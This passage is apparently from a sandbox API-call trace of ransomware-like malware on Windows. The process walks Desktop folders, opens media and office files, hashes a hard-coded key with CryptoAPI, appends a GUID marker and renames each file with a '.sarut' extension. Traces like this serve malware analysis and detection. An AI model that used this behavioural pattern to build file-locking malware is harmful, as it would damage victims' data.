(HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.004] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.004] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.004] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.004] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.004] CloseHandle (hObject=0x5c4) returned 1 [0270.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0270.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0270.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\Pla8UWh-7PWmaOK2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\pla8uwh-7pwmaok2.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\Pla8UWh-7PWmaOK2.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\pla8uwh-7pwmaok2.mp3.sarut")) returned 1 [0270.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.013] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.014] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a28d610, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x74f75eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2d6, ftLastWriteTime.dwLowDateTime=0x74f75eb0, ftLastWriteTime.dwHighDateTime=0x1d4d2d6, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qBg34ZfuK.pptx", cAlternateFileName="QBG34Z~1.PPT")) returned 1 [0270.014] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0270.014] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0270.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0270.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\qBg34ZfuK.pptx") returned=".pptx" [0270.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\qBg34ZfuK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\qbg34zfuk.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.015] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=89819) returned 1 [0270.015] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.017] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15eb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.017] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.018] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.018] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x15edb, lpOverlapped=0x0) returned 1 [0270.019] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.019] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.019] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.019] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.020] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.020] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.020] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.020] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.020] GetLastError () returned 0x0 [0270.020] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.020] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.020] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.021] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15edb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.021] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.021] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.022] CloseHandle (hObject=0x5c4) returned 1 [0270.023] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\qBg34ZfuK.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\qbg34zfuk.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\qBg34ZfuK.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\qbg34zfuk.pptx.sarut")) returned 1 [0270.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.024] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.025] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7179ddc0, ftCreationTime.dwHighDateTime=0x1d4cca1, ftLastAccessTime.dwLowDateTime=0x34f46220, ftLastAccessTime.dwHighDateTime=0x1d4c91e, ftLastWriteTime.dwLowDateTime=0x34f46220, ftLastWriteTime.dwHighDateTime=0x1d4c91e, nFileSizeHigh=0x0, nFileSizeLow=0x8d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="upDp4KTN.bmp", cAlternateFileName="")) returned 1 [0270.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\upDp4KTN.bmp") returned=".bmp" [0270.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\upDp4KTN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\updp4ktn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.026] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=36165) returned 1 [0270.026] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.029] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.029] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.030] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8d45, lpOverlapped=0x0) returned 1 [0270.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.031] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.031] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0270.032] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.032] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.032] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.032] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.032] GetLastError () returned 0x0 [0270.033] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.033] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0270.033] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.033] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8d45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.033] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.033] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.033] CloseHandle (hObject=0x5c4) returned 1 [0270.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\upDp4KTN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\updp4ktn.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0_DXftOx\\upDp4KTN.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0_dxftox\\updp4ktn.bmp.sarut")) returned 1 [0270.040] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.040] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.041] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.041] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7179ddc0, ftCreationTime.dwHighDateTime=0x1d4cca1, ftLastAccessTime.dwLowDateTime=0x34f46220, ftLastAccessTime.dwHighDateTime=0x1d4c91e, ftLastWriteTime.dwLowDateTime=0x34f46220, ftLastWriteTime.dwHighDateTime=0x1d4c91e, nFileSizeHigh=0x0, nFileSizeLow=0x8d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="upDp4KTN.bmp", cAlternateFileName="")) returned 0 [0270.041] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.042] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0270.042] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0270.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\") returned="5ZcHC6YUYXtvBMsNr4\\" [0270.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0270.042] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.042] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0270.042] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.042] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.042] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.042] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.042] PathFindFileNameW (pszPath="") returned="" [0270.042] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.042] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x205368f0, ftCreationTime.dwHighDateTime=0x1d4c669, ftLastAccessTime.dwLowDateTime=0x857f7f0, ftLastAccessTime.dwHighDateTime=0x1d4d24b, ftLastWriteTime.dwLowDateTime=0x857f7f0, ftLastWriteTime.dwHighDateTime=0x1d4d24b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.043] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbff6210, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0xe79ba590, ftLastAccessTime.dwHighDateTime=0x1d4d2e8, ftLastWriteTime.dwLowDateTime=0xe79ba590, ftLastWriteTime.dwHighDateTime=0x1d4d2e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OBWh_DIngrZmxYk.mp3", cAlternateFileName="OBWH_D~1.MP3")) returned 1 [0270.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.043] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.043] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\OBWh_DIngrZmxYk.mp3") returned=".mp3" [0270.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\OBWh_DIngrZmxYk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\obwh_dingrzmxyk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.043] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=62940) returned 1 [0270.043] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.045] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.045] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.046] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.046] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xf5dc, lpOverlapped=0x0) returned 1 [0270.047] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.047] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.047] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.047] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.047] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.048] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.048] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.048] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.048] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.048] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.048] GetLastError () returned 0x0 [0270.048] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.048] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.049] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xf5dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.049] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.049] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.049] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.049] CloseHandle (hObject=0x5c4) returned 1 [0270.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x302b6c8 [0270.052] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0270.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\OBWh_DIngrZmxYk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\obwh_dingrzmxyk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\OBWh_DIngrZmxYk.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\obwh_dingrzmxyk.mp3.sarut")) returned 1 [0270.054] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e056ef0, ftCreationTime.dwHighDateTime=0x1d4c956, ftLastAccessTime.dwLowDateTime=0xce962120, ftLastAccessTime.dwHighDateTime=0x1d4d030, ftLastWriteTime.dwLowDateTime=0xce962120, ftLastWriteTime.dwHighDateTime=0x1d4d030, nFileSizeHigh=0x0, nFileSizeLow=0xd50f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p uXvDzcIfFbqot.odp", cAlternateFileName="PUXVDZ~1.ODP")) returned 1 [0270.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.054] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.054] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\p uXvDzcIfFbqot.odp") returned=".odp" [0270.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5ZcHC6YUYXtvBMsNr4\\p uXvDzcIfFbqot.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zchc6yuyxtvbmsnr4\\p uxvdzciffbqot.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.054] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=54543) returned 1 [0270.054] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.057] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd4e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.057] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.059] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xd50f, lpOverlapped=0x0) returned 1 [0270.059] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.059] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.059] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.059] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.060] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.061] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.061] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.061] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.061] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.061] GetLastError () returned 0x0 [0270.061] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.061] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.061] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd50f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.061] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, 